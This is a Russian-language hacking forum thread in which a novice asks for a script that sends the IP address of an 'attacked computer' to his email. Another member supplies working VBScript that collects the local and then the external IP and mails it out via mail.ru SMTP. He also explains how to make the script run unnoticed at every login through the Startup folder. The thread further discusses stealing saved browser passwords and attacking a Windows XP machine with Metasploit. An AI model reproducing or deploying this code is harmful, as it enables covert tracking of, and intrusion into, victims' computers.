Форум АНТИЧАТ
Страница 1 из 2 1 2 >
Показывать 40 сообщений этой темы на одной странице

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Песочница (https://forum.antichat.xyz/forumdisplay.php?f=189)
-   -   Подскажите как написать батник для отправки ip на электронную почту (https://forum.antichat.xyz/showthread.php?t=445862)

kurt135 21.12.2016 08:20
Подскажите , код батника .который позволял бы отправлять айпишник атакованного компьютера на почту.

kacergei 21.12.2016 09:38
Цитата:
Сообщение от kurt135
kurt135 said:
↑
Подскажите , код батника .который позволял бы отправлять айпишник атакованного компьютера на почту.
Тут вопрос через чего твой батник будет отправлять на почту?) Например у "жертвы" не настроен OutLook

ComradKraken 21.12.2016 09:59
лучше на VBS запилить MAPI скриптег отправки

kurt135 21.12.2016 10:15
ComradKraken: Можно подробнее о сием действии .

ComradKraken 22.12.2016 05:29
как бы так:

Код:
Code:
Set emailObj    = CreateObject("CDO.Message")

Set emailConfig = emailObj.Configuration

emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.mail.ru"
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 465
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")= 2
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = 1
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 60   

emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")    = "tut_pochta_otkuda_send@mail.ru"
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")    = "tut_tvoy_parol"

emailObj.From    = "tut_pochta_otkuda_send@mail.ru"
emailObj.To      = "tut_pochta_kuda_send@mail.ru"

emailObj.Subject  = "Tsdfsfsf"
emailObj.TextBody = "fffasdasdasd"

emailConfig.Fields.Update

emailObj.Send

kurt135 22.12.2016 12:56
ComradKraken: Спасибо за текст батника . Можно только уточнить Что вообще написано в этом тексте (коде ) ? В смыслы ip жерты будет отправляться при каждым включении компьютера ? Какая почта лучше работает с данным кодом (yandex.ru,google) ? Дополнительного по не нужно к данному коду ?

kurt135 22.12.2016 14:28
Вы уж прости новичка Я не совсем в теме А что это ? Это разве код не для батника ?? Код для VBS ?

ComradKraken 22.12.2016 15:23
нет, эт был пример для отправки мыла без всяких outlookов с левого ящика,

ладно

сначала заведи почту с которой отправка будет идти( в этом примере скрипт настроен на отправку из "@mail.ru)

вот это сохранять в *.vbs :

Код:
Code:
Dim myIPAddress : myIPAddress = ""
Dim objWMIService : Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
Dim colAdapters : Set colAdapters = objWMIService.ExecQuery("Select IPAddress from Win32_NetworkAdapterConfiguration Where IPEnabled = True")
Dim objAdapter

For Each objAdapter in colAdapters
  If Not IsNull(objAdapter.IPAddress) Then myIPAddress = trim(objAdapter.IPAddress(0))
  exit for
Next

Dim RemoteSenderBoxName : RemoteSenderBoxName = "fuckUSA@mail.ru" '  сюда адрес ящика который ты завёл для отправки
Dim RemoteSenderBoxPasswd : RemoteSenderBoxPasswd  = "obamka-pidorg"    '  сюда пароль ящика который ты завёл для отправки
Dim MailReceiver : MailReceiver  = "russianhackersdidit@mail.ru"    '  сюда адрес почты куда получать ип собрался

Set emailObj      = CreateObject("CDO.Message")

Set emailConfig = emailObj.Configuration
'Set emailConfig  = CreateObject("CDO.Configuration")

emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.mail.ru"
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 465
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")= 2
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = 1
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 120

emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")    = RemoteSenderBoxName
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")    = RemoteSenderBoxPasswd

emailObj.From    = RemoteSenderBoxName
emailObj.To      = MailReceiver

emailObj.Subject  = "ip addr"
emailObj.TextBody = myIPAddress

emailConfig.Fields.Update

emailObj.Send
этот файлик можно запускать из виндовой консольки через wscript [имяфайла.vbs]

Если нужно чтобы отправка была при запуске машины, закинь этот *.vbs в папку

c:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\

kurt135 22.12.2016 17:22
ComradKraken: Огромейшое спасибо !!! Не хочу показаться наглым возможно ли данный файл (vbs, с кодом) , с лепить с батником (в батнике прописать чтобы код vbs срабатывал при каждом включение компьютера, и также выключался ,чтобы не политься в диспетчере задач) и кинуть это добро куда нибудь в папку system32 ?

ComradKraken 22.12.2016 17:25
не за что

дочитай прошлое сообщение до конца, там указано что сделать чтобы

Цитата:
Сообщение от kurt135
kurt135 said:
↑
ComradKraken
: Огромейшое спасибо !!! Не хочу показаться наглым
возможно ли данный файл (vbs, с кодом) , с лепить с батником (в батнике прописать чтобы код vbs срабатывал при каждом включение компьютера, и также выключался ,чтобы не политься в диспетчере задач) и кинуть это добро куда нибудь в папку system32 ?

kurt135 22.12.2016 18:07
ComradKraken: этот файлик можно запускать из виндовой консольки через wscript [имяфайла.vbs]

Если нужно чтобы отправка была при запуске машины, закинь этот *.vbs в папку

c:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\. ?? Ну , ложить данный файл в Startup мне кажется не очень хорошей идеей ,так как он будет висеть в диспетчере задач . Запустить из виндовой консоли через wscript ..прости, ЭТО КАК ? Как вообще можно добиться того чтобы ,и файл лежал в скрытом месте . и при этом выполнял те функции которые я описывал ранее (при каждом включение удаленного компьютера отправлял свое ip мне на почту)?

ComradKraken 22.12.2016 18:22
Цитата:
Сообщение от kurt135
kurt135 said:
↑
ложить данный файл в Startup мне кажется не очень хорошей идеей ,так как он будет висеть в диспетчере задач
будет, пару секунд всего, отработает при логине и пропадётиз диспетчера, скорее всего еще до того как юзер сможет его увидеть

Цитата:
Сообщение от kurt135
kurt135 said:
↑
Запустить из виндовой консоли через wscript ..прости, ЭТО КАК
в CMD или батнике пишешь "wscript %сюда путь к файлу vbs%"

как спрятать уж сам придумай

kurt135 22.12.2016 18:49
ComradKraken : Спасибо еще раз ,добрый человек. Буду пробовать.

kurt135 22.12.2016 20:14
И еще вопрос не совсем по теме . Это можно так и пароли спи...и пиз....(которые сохроняются в google браузер и отпровлять и на мыло) с помощью таких вот скриптов,батников ?

ComradKraken 22.12.2016 20:29
можно

но в браузере они хранятся зашифрованные

kurt135 22.12.2016 20:57
ComradKraken: А расшифровывать их можно ? Или это нереально ?

ComradKraken 22.12.2016 21:03
даже не знаю, я как порядочный гражданин, не занимаюсь подобного рода действиями,

а вот гугл он тот еще мошенник https://www.google.ru/search?q=crack...+password+file

kurt135 22.12.2016 21:12
ComradKraken: По поводу скрипта он не тот ip снимает ( они как то делятся на внутренний и внешний ) ,нужен.. я так понимаю внешний ,который определяется в сети (на http://speed-tester.info/). Возможно отправлять сразу два ip , или лист с ipconfig ?

ComradKraken 22.12.2016 21:20
конечно, внешний адрес машина не видит, сеть провайдера назначает

случай банальный, примеров хватает https://www.google.ru/search?q=scrip...nal+ip+address

kurt135 22.12.2016 21:41
ComradKraken: Прости за наглость Я так и не понял , с этим можно что то сделать (чтобы от провлялся ip которому я могу подключится с любой точки)?

ComradKraken 22.12.2016 21:43
Можно, вот подсказка

Код:
Code:
Dim o
Dim res
Set o = CreateObject("Microsoft.XMLHTTP")
o.open "GET", "http://icanhazip.com", False
o.send
res = o.responseText
Msgbox res

kurt135 22.12.2016 21:44
ComradKraken: Подожди ну при вводе команды ipconfig я вижу ip адрес который определяется в http://speed-tester.info/.. Или к нему все равно нереально подключится из глобальной сети ?

ComradKraken 22.12.2016 21:47
смотря как у тебя инет подключен, я так понял без роутера

kurt135 22.12.2016 21:48
ComradKraken: Спасибо за подсказку Я ценю Ваш юмор (опытного пользователя ,программиста ),только для меня это набор символов и цифр. Я буду с месяц разбираться куда что вставлятьи писать .

ComradKraken 22.12.2016 21:49
чем подключаться собрался? сначала проверь открыт ли нужный порт извне, например через 2ip.ru

kurt135 22.12.2016 22:02
ComradKraken:Подключатся я буду к удаленному компьютеру с установленной windows xp с открытыми портами 135,443 (что обычно открыто) с помощь metalsploit .

ComradKraken 22.12.2016 22:11
Код:
Code:
Dim o
Dim res
Set o = CreateObject("Microsoft.XMLHTTP")
o.open "GET", "http://icanhazip.com", False
o.send
res = o.responseText

Dim RemoteSenderBoxName : RemoteSenderBoxName = "fuckUSA@mail.ru" '  сюда адрес ящика который ты завёл для отправки
Dim RemoteSenderBoxPasswd : RemoteSenderBoxPasswd  = "obamka-pidorg"    '  сюда пароль ящика который ты завёл для отправки
Dim MailReceiver : MailReceiver  = "russianhackersdidit@mail.ru"    '  сюда адрес почты куда получать ип собрался

Set emailObj      = CreateObject("CDO.Message")

Set emailConfig = emailObj.Configuration
'Set emailConfig  = CreateObject("CDO.Configuration")

emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.mail.ru"
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 465
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")= 2
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = 1
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 120

emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")    = RemoteSenderBoxName
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")    = RemoteSenderBoxPasswd

emailObj.From    = RemoteSenderBoxName
emailObj.To      = MailReceiver

emailObj.Subject  = "ip addr"
emailObj.TextBody = res

emailConfig.Fields.Update

emailObj.Send
этот vbs вернет внешний IP

kurt135 22.12.2016 22:37
ComradKraken: Меня тут бл... обрадовали , у меня оказывается серый ip адрес ,как мне сказали ...к удаленной машине по данному айпи адресу не подключишься ... Это реально так ???? Или мой юный и доверчивый мозг на еб....

ComradKraken 22.12.2016 22:43
Цитата:
Сообщение от kurt135
kurt135 said:
↑
ComradKraken
: Подожди
ну при вводе команды ipconfig я вижу ip адрес который определяется в
http://speed-tester.info/
..
Или к нему все равно нереально подключится из глобальной сети ?
"серый" ты бы не увидел на этом ресурсе speed-tester,

а что насчет той удаленной машины, проверь второй скрипт что я скинул , он вернет "белый" IP

ЗЫ: я так понял ты через мобильный инет сидишь?

Payer 22.12.2016 22:45
Цитата:
Сообщение от ComradKraken
ComradKraken said:
↑
проверь второй скрипт что я скинул
Вот у вас терпение!

Осталось только выехать на место и настроить скрипт на месте у потерпевшего.

ComradKraken 22.12.2016 22:47
Цитата:
Сообщение от Payer
Payer said:
↑
Вот у вас терпение!
Осталось только выехать на место и настроить скрипт на месте у потерпевшего.
ну что вы, я уже дал приказ мой вёртолёт прогревать

kurt135 22.12.2016 22:58
ComradKraken: спасибо за код внешний айпи отправляется .

kurt135 22.12.2016 23:00
ComradKraken: Спасибо еще раз за терпение ,и разжевывание У меня бы нервов не хватило бы

ComradKraken 22.12.2016 23:02
Цитата:
Сообщение от kurt135
kurt135 said:
↑
ComradKraken
: Спасибо еще раз
за терпение ,и разжевывание
У меня бы нервов не хватило бы
ибо сказано было "

ОТДАВАЙ, И К ТЕБЕ ВЕРНЁТСЯ

"

kurt135 22.12.2016 23:03
ComradKraken: нетне через мобильный

kurt135 22.12.2016 23:11
ComradKraken: Вот объясните мене юному и доверчивому как та девствиница человеку Разве ip адрес который постоянно меняется при каждом новом включении компьютера не является серым ?? Одни говорят он серый(и к нему не подключишься через глобальную сеть) Вы говорите не серый Так какой он ?

ComradKraken 23.12.2016 00:11
весь инет как бы состоит из подсетей соединённых друг с другом, твоя машина выходит в инет проходя через несколько подсетей провайдера, и в каждой этой подсети есть свои адреса и своя область видимости. Погугли про маршрутизацию в сетях, я сейчас ненмого занят

Octavian 23.12.2016 00:20
Чтоб узнать IP помогает http://iplogger.ru/

простите если не в тему

kurt135 23.12.2016 00:32
Octavian: что за разводящие ссылки и что тебе дал мой ip адрес

Octavian 23.12.2016 00:36
Цитата:
Сообщение от kurt135
kurt135 said:
↑
Octavian: что за разводящие ссылки и что тебе дал мой ip адрес
Чтоб узнать IP помогаетhttp://iplogger.ru/

простите если не в тему

Прошу прочитать все


Время: 08:02
Страница 1 из 2 1 2 >
Показывать 40 сообщений этой темы на одной странице